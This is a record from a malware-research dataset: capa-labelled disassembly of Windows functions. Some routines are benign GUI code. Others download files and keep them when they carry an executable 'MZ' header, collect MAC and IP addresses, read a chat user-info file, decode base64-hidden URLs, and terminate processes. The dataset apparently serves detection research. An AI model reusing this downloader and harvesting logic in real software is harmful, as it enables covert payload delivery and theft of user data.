joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100414b0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1007e728
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.100777f8
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.10040e10
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.10077726
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.10074001
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.10074001
push 1
push 0
push 0
mov ecx, esi
call fcn.10073fa9
push 1
push 0
push 1
mov ecx, esi
call fcn.10073fa9
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007786a
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x10041630
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1007e748
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.100777f8
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.10040e10
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.10077726
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x100416f4
cmp dword [esp + 0x40], 1
jne 0x100416f2
cmp ecx, eax
jge 0x100416f4
mov eax, ecx
cmp eax, 0xc8
jge 0x10041700
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.100414b0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007786a
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x10041ef0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1007e7f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.1007243c
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.10077aa0
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.10078fbc
test eax, eax
je 0x1004200c
mov ecx, dword [esp + 0x3c]
call fcn.10077acd
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x10041fd0
push edi
mov ecx, esi
call fcn.1007511b
mov ecx, esi
call fcn.100421b0
cmp dword [esp + 0x38], 1
jne 0x10042005
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.10075256
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x10044200
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x10044233
push esi
call fcn.100525a0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004422c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x100442b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x100442a2
mov eax, dword [esi + 8]
test eax, eax
je 0x10044257
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004429e
cmp eax, 2
je 0x100442a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004424a
cmp eax, 3
je 0x1004427d
cmp eax, 1
jne 0x1004424a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004424a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004424a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.100442e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x100442c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.100442e0
add esp, 4
pop esi
ret

Function at 0x10044b50
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x10044b71
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x10044b71
mov eax, dword [eax + 0x44]
test eax, eax
je 0x10044b71
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10044fc0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x10044fcb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x100450ce
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10085fa8]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10085fa8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10085fa8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10085fa8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10085fa8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10085fa8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10085fa8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10085fa8]
xor eax, edx
inc ecx
dec edi
jne 0x10044fe6
pop edi
test esi, esi
je 0x100450f0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10085fa8]
xor eax, edx
inc ecx
dec esi
jne 0x100450d2
pop esi
pop ebx
not eax
ret
Function at 0x1005f5f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x1007eb1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push esi
mov esi, dword [esp + 0x144]
push esi
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call fcn.10070ef8
mov eax, dword [esp + 0x148]
test eax, eax
jne 0x1005f6c2
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1005f65a
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.10070e8a
xor eax, eax
jmp 0x1005f712
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x1005f675
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x1005f6c6
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1005f6c6
mov ecx, dword [esp + 4]
lea eax, [esp + 0x30]
push eax
push ecx
call fcn.100616f3
add esp, 8
test eax, eax
je 0x1005f6be
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1005f697
jmp 0x1005f6c6
mov eax, dword [esp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
test eax, eax
jne 0x1005f6e6
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.10070e8a
xor eax, eax
jmp 0x1005f712
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 4]
mov esi, eax
mov dword [esp + 0x13c], 0xffffffff
call fcn.10070e8a
mov eax, esi
mov ecx, dword [esp + 0x134]
pop esi
mov dword fs:[0], ecx
add esp, 0x13c
ret 8

Function at 0x10073217
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1007324f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100712e5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.100712bd
jmp 0x1007325b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10074909
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1007494b
call fcn.1007a29c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1007494b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10074942
xor eax, eax
jmp 0x10074953
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10074959
pop edi
pop esi
pop ebx
ret 4
Function at 0x401b00
Capabilities:
Create http request

Disassembly:
push esi
push 0
push 0
push 0
push 0
push str.my_check_data
call dword [sym.imp.WININET.dll_InternetOpenW]
push 1
mov esi, eax
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
ret

Function at 0x401b40
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push esi
push str.www.baidu.com_1.7
mov dword [esp + 0x24], esi
mov dword [esp + 0x30], esi
mov ebp, 1
call dword [sym.imp.WININET.dll_InternetOpenW]
cmp eax, esi
mov dword [esp + 0x14], eax
jne 0x401b7e
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x410
ret
mov edi, dword [esp + 0x424]
mov ebx, dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [esp + 0x18], esi
jmp 0x401b95
mov eax, dword [esp + 0x14]
push 0
push SysReAllocStringLen
push 0
push 0
push edi
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x401bc6
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 5
mov dword [esp + 0x18], eax
jl 0x401b91
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x410
ret
mov eax, dword [esp + 0x428]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401c67
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0x400
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test ebp, ebp
je 0x401c1a
cmp word [esp + 0x20], 0x5a4d
jne 0x401c3d
mov ecx, dword [esp + 0x10]
xor ebp, ebp
lea eax, [esp + 0x1c]
push ebp
push eax
lea edx, [esp + 0x28]
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x401c60
jmp 0x401bea
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x410
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x410
ret
Function at 0x401c90
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
sub esp, 0x10
push esi
lea eax, [esp + 4]
push edi
push eax
push 0
mov dword [esp + 0x10], 0
call sub.iphlpapi.dll_GetAdaptersInfo
mov ecx, dword [esp + 8]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea edx, [esp + 8]
mov esi, eax
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x401d05
test esi, esi
je 0x401d05
lea eax, [esi + 0x194]
lea edx, [esi + 0x1d8]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, dword [eax]
push edx
mov dword [esp + 0x14], edi
mov cx, word [eax + 4]
mov word [esp + 0x18], cx
call ebx
lea eax, [esi + 0x1b0]
push eax
call ebx
add esi, 0x1c0
push esi
call ebx
pop ebx
jmp 0x401d09
mov edi, dword [esp + 0xc]
mov ecx, dword [esp + 0x11]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xf]
and ecx, 0xff
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x12]
push edx
mov edx, dword [esp + 0x15]
and eax, 0xff
and ecx, 0xff
push eax
mov eax, dword [esp + 0x28]
and edx, 0xff
push ecx
and edi, 0xff
push edx
push edi
push str._02X__02X__02X__02X__02X__02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
pop edi
pop esi
add esp, 0x10
ret
Function at 0x402760
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xc04
push ebx
push ebp
push esi
push edi
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x416]
mov word [esp + 0x414], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x80
push 3
push 0
stosb byte es:[edi], al
mov eax, dword [esp + 0xc28]
push 0
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [eax + eax + 0x7d0]
push ecx
call fcn.0041ea22
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
add esp, 4
mov dword [esi], 0
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x414]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x100
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push eax
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call ebx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x418]
push edx
push eax
call fcn.0040d8c0
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x420]
push ecx
push edx
push esi
call fcn.0040da5e
mov eax, dword [esp + 0x28]
add esp, 0x18
test eax, eax
ja 0x4027e4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.UserInfo.chat_
push esi
call fcn.0040da1d
add esp, 8
test eax, eax
jne 0x40286b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc04
ret
mov edi, dword [esp + 0xc1c]
add eax, 0x1e
push eax
push edi
call fcn.0040d0b0
push 0x4345a8
push edi
call fcn.0040da1d
push esi
mov word [eax], 0
call fcn.0041ea4b
add esp, 0x14
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc04
ret
Function at 0x4028e0
Capabilities:
Delete file
Print debug messages

Disassembly:
mov eax, 0x31940
call fcn.0040db20
push ebx
push ebp
push esi
push edi
mov ecx, 0x12
mov esi, str.aHR0cDovL3RpZWJhLmJhaWR1LmNvbS9pLw
lea edi, [esp + 0xa10]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x6d
lea edi, [esp + 0xa5a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebp, ebp
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x412]
mov word [esp + 0x410], bp
mov word [esp + 0xc10], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xc34f
xor eax, eax
lea edi, [esp + 0xc12]
mov word [esp + 0x210], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x212]
mov esi, str.YzpcSW5mb18
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 6
lea edi, [esp + 0x810]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x79
xor eax, eax
lea edi, [esp + 0x82a]
mov word [esp + 0x10], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x12]
mov word [esp + 0x610], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x612]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x610]
lea ecx, [esp + 0x810]
push eax
push ecx
call fcn.00401e20
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x10]
push edx
lea edx, [esp + 0x614]
push edx
push 0x4345f4
push eax
call ebx
lea ecx, [esp + 0x420]
lea edx, [esp + 0xa20]
push ecx
push edx
call fcn.00401e20
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004028b0
mov esi, eax
push esi
push 0x4345f0
call fcn.0040dadb
lea eax, [esp + 0x418]
push esi
push eax
lea ecx, [esp + 0x220]
push str._ws_d
push ecx
call ebx
lea edx, [esp + 0x28]
lea eax, [esp + 0x228]
push edx
push eax
call fcn.00402e80
lea ecx, [esp + 0xc30]
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.00402760
add esp, 0x28
mov esi, eax
lea eax, [esp + 0x10]
push eax
call edi
cmp esi, ebp
je 0x402ae2
lea ecx, [esp + 0xc10]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea edx, [esp + 0xc10]
push edx
call fcn.0040d0d5
add esp, 4
cmp eax, 4
jb 0x402ae2
lea eax, [esp + 0xc10]
push eax
call fcn.0040d0d5
add esp, 4
cmp eax, 0x20
jae 0x402ae2
lea ecx, [esp + 0xc10]
push str.null
push ecx
call fcn.0040d88b
add esp, 8
test eax, eax
je 0x402ae2
lea edx, [esp + 0xc10]
push 0x4345d0
push edx
call fcn.0040da1d
add esp, 8
test eax, eax
je 0x402af2
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402a1a
lea eax, [esp + 0xc10]
push eax
call fcn.00401df0
add esp, 4
test eax, eax
pop edi
pop esi
pop ebp
pop ebx
je 0x402b24
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1a
div ecx
add edx, 0x61
mov word [esp + 0xc00], dx
lea edx, [esp + 0xc00]
push edx
call fcn.0040d0d5
mov ecx, dword [esp + 0x31948]
inc eax
push eax
lea eax, [esp + 0xc08]
push eax
push ecx
call fcn.0040da9e
add esp, 0x31950
ret
Function at 0x402b50
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0xc08
push ebx
push ebp
push esi
push edi
push 0
push 0
push 0
push 0
push str.www.baidu.com
mov dword [esp + 0x24], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ecx, dword [esp + 0xc1c]
push 0
push SysReAllocStringLen
push 0
push 0
push ecx
push eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [esp + 0xc20]
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
mov word [ebx], 0
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x200
lea edi, [esp + 0x418]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push esi
call ebp
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x418]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push ecx
push edx
call fcn.0040d8c0
lea eax, [esp + 0x424]
push eax
push ebx
call fcn.0040d086
mov eax, dword [esp + 0x24]
add esp, 0x14
test eax, eax
ja 0x402ba7
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x402cb0
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x17f4
call fcn.0040db20
push ebx
push ebp
push esi
push edi
mov ecx, 0x30
mov esi, str.aHR0cDovL2Jhc2UucXpvbmUucXEuY29tL2ZjZy1iaW4vY2dpX2dldF9wb3J0cmFpdC5mY2c_Z2V0X25pY2s9MSZ1aW5zPQ
lea edi, [esp + 0x604]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x4f
lea edi, [esp + 0x6c6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebx, ebx
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x406]
mov word [esp + 0x404], bx
mov word [esp + 0x10], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7c
xor eax, eax
lea edi, [esp + 0x12]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x404]
lea ecx, [esp + 0x604]
push eax
push ecx
call fcn.00401e20
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add esp, 8
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x806]
mov word [esp + 0x804], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x206]
mov word [esp + 0x204], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
call fcn.00402c70
lea edx, [esp + 0x404]
push eax
push edx
lea eax, [esp + 0x20c]
push str._ws_d
push eax
call esi
lea ecx, [esp + 0x814]
lea edx, [esp + 0x214]
push ecx
push edx
call fcn.00402b50
lea eax, [esp + 0x28]
lea ecx, [esp + 0x81c]
push eax
push ecx
call fcn.00402c30
add esp, 0x20
test eax, eax
je 0x402e1c
lea edx, [esp + 0x10]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
call fcn.0040d0d5
add esp, 4
cmp eax, 4
jb 0x402e1c
lea ecx, [esp + 0x10]
push ecx
call fcn.0040d0d5
add esp, 4
cmp eax, 0x20
jae 0x402e1c
lea edx, [esp + 0x10]
push 0x4345d0
push edx
call fcn.0040da1d
add esp, 8
test eax, eax
jne 0x402e1c
lea eax, [esp + 0x10]
push 0x434680
push eax
call fcn.0040da1d
add esp, 8
test eax, eax
je 0x402e2c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402d39
lea ecx, [esp + 0x10]
push ecx
call fcn.00401df0
add esp, 4
test eax, eax
pop edi
pop esi
pop ebp
pop ebx
je 0x402e58
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1a
div ecx
add edx, 0x61
mov word [esp], dx
mov eax, dword [esp + 0x17f8]
lea edx, [esp]
push edx
push eax
call fcn.0040d0b0
add esp, 0x17fc
ret